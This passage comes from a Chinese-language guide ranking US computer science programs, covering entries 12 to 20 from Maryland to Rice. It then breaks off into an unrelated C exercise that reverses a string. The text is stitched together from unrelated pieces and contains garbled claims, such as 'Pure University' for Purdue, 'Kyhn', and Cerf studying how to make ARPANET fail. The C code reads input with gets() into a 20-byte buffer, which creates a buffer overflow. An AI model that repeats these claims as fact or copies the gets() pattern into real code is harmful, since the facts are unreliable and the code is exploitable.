第1、2位,Cornell穩居第5位,U. of Wisconsin-Madison穩居第9、10位。CIT的CS和其他系,比如數學、物理、生物等需要大量科學計算的部門聯系很緊密。CIT學校也很小, 2000名學生中研究生佔1100人。Faculty人數也不多,但幾乎個個是巨牛,按平均水平看,CIT可能是世界上最牛的學校了。
12. 馬里蘭大學(University of Maryland at College Park)
U. of Maryland at CP是一個實力相當強勁的CS,軟體第8,資料庫第4,AI第9,三個專業都擠進了前10位,它的TINY系統有相當的知名度。
13. 加州大學洛杉磯分校(University of California-Los Angeles)
歷史上UCLA的CS曾經一度輝煌,上到過第6(NRC\' 82),但近年來一直徘徊在第13 —15。而且CS的各個專業細目幾乎沒有一個能進前10名。盡管如此,UCLA的CS還是十分強大的。
UCLA輝煌的歷史可能在於它對Internet的發展所作出的巨大貢獻。六十年代美國的
ARPA在搞網路互連的開創性研究,ARPA網的四個節點是:UCLA,Stanford的SRI,UCSB和 U. of Utah。此時一位來自美國新英格蘭地區的青年Vinton Cerf不去離家咫尺的Yale大學,遠涉千里,來到了加州。他先在Stanford獲得數學學士,然後到UCLA拿下了CS的碩士和博士。
畢業後Cerf一直在SRI從事ARPA網的研究,特別是研究如何讓它無法正常工作。幾年
後,Cerf與MIT一位到業界闖盪的數學教授Kyhn合作研發,搞出了一套軟體系統用於網路
互連(1973年)。這就是TCP/IP協議的誕生。
UCLA作為INTERNET的先驅,地處陽光燦爛的南加州,應當成為CS學生的樂土。
UCLA有學生33000人,其中研究生院的佔9900人。地處洛杉磯的UCLA周圍幾乎有玩不盡的地方:如DISNEY,HOLLYWOOD等。由於位於大城市,校園不是很大,但風景異常美麗。
UCLA的CS較大,規模應該和U. of Washington和U. of Wisconsin-Madison類似。
14. 密歇根大學(University of Michigan-Ann Arbor)
U. of Michigan 是個非常了不起的學校。在BIG TEN里,從綜合的角度上說它可算
得上是領頭羊了,當然UIUC, U. of Wisconsin-Madison也緊隨其後。這里的CS偏硬的更厲害些,硬體排在第9,而計算機工程排第7,EE第5,都是前10名中的巨牛。Michigan 的CS和EE合在一起稱為EECS系,是個相當大的系,每年招收的學生應當不在少數。
Michigan的CS估計在歷史上也相當牛,U. of Wisconsin-Madison CS里兩位來自Mi chigan 的教授都是院士,在其他CS系裡,比如UIUC的,也大有Michigan 的牛人在。如 前述,UIUC的CS在硬體上極強,而Michigan 的CS中有許多UIUC的哥們在那裡當老師。
15. 喬治亞理工學院(Georgia Institute of Technology)
GIT是個較大的學校,GIT的工程學院很厲害,研發經費僅次於MIT,和UIUC,Michi
gan差不多。CS系的資料庫第7,GUI第4。
16. 布朗大學(Brown University)
Brown的規模不大。這所IVY LEAGUE中的私立學校可能擁有一些類似於CORNELL的優勢。CS的GUI可以列在第6位,好像還有許多關於語音識別等偏人工智慧方面的研發項目
。
17. 哈佛大學(Harvard University)
在CS的早期發展史上,Harvard曾經是泰斗級的人物,畢竟CS和數學,物理的淵源太
深太長了。好像王安是這里出來的,Bill Gates也是這里出來的。Harvard畢竟是Harva rd,總是名人輩出,因為Harvard總是可以招到最優秀的人。但千萬別以為哈佛人人牛。Harvard不喜歡帶工程色彩的東西,CS是掛在Arts & Science學院下面的Division of E ngineering and Applied Science,好像連獨立的一個系都不是。除了理論可以排進前 10名以外,其他項目怕也拿不出多少貨色了。
哈佛大學共有學生18000人,其中研究生院的11000人。Harvard大學擁有世界上最多的諾貝爾獎得主,150多個美國國家科學院院士。哈佛的CS估計不會是大個子,招的學生可能也不多,申請的難度應當很大。
18. 耶魯大學(Yale University)
YALE曾經也進過前10名(NRC\' 82),是YALE和UCLA而不是Princeton和U. of Texa s-Austin位於前10名的榜上。YALE的CS不大,十幾個老師加上為數不多的學生,每年只招收六個博士研究生。
和Harvard這樣很重文理的學校一樣,YALE的CS在理論上比較強。但不同於哈佛,Y
ALE有獨立的CS系,受到較高的重視。YALE CS在AI和軟體方面比較強。著名的LINDA並行編程模式就是在這里提出並實現的。YALE 的畢業生到學術界的比到業界的似乎 要多, 哈佛似乎也是這樣。
19. 普渡大學(Pure University)
可能許多人還不知道,Pure的計算機系是美國最早成立的計算機系。建系之初一
直處於TOP 10。在70年代由於本人不甚了解的原因,沒落了。Pure的排名也不太穩定
,從13到30的排法似乎都見過。Pure是個大學校,有35000學生。其工程學院很出名 20. 萊斯大學(Rice University)
Rice是個位於休斯頓的小學校,4000名學生,研究生有1600左右吧。CS也不大,優
勢在於軟體,排在第9位。該系的KENNEDY是個巨牛的人物,是美國HPCC常委的關鍵人物
之一,好像還是總統在信息科學方面的特別顧問。KENNEDY是並行計算領域的大牛。前幾
年,他義無反顧地承擔起高性能FORTRAN語言(HPF)的編譯器研製工作,項目之大,投
入人力之巨,加上他的權威地位,被人們寄予普遍厚望。可惜後來項目失敗了。從此並
行計算界陷入了一陣低潮。這幾年KENNEDY好像轉向去做針對特定處理器的後端優化技術
了。Rice CS 學生的出路相當好。
⑽ C語言編程,寫一個函數,使輸入的一個字元串按反序存放,在主函數中輸入和輸出字元
#include <stdio.h>
#include <string.h>
void input(char st[]);//定義輸入函數
void reverse(char st[]);//定義反序函數
int main()
{
char s[20];
input(s);//調用輸入函數
printf("Original string: %s ", s);//輸出原字元串
reverse(s);//調用反序函數
printf("New string: %s ", s);//輸出反序後的字元串
return 0;
}
void input(char st[])
{
printf("Please enter string: ");
gets(st);
}
//反序函數
void reverse(char st[])
{
int n=strlen(st);
for (int i=0, j=n-1, t; i<(n/2); t=st[i], st[i]=st[j], st[j]=t, i++, j--);
}